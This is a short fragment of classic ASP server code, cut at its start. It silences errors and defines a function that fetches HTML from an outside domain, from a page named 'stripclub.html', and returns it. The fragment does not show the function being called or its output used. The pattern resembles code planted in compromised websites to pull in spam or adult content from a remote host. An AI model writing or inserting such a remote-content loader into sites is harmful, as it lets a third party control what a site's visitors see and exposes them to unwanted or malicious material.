% On Error Resume Next %> <% Function GetData() set oXML = Server.Createobject ("MSXML2.serverxmlhttp") oXML.Open "GET","http://www.cybertechdomains.com/network2/stripclub.html" oXML.Send TempData = oXML.responseText GetData = TempData End Function %>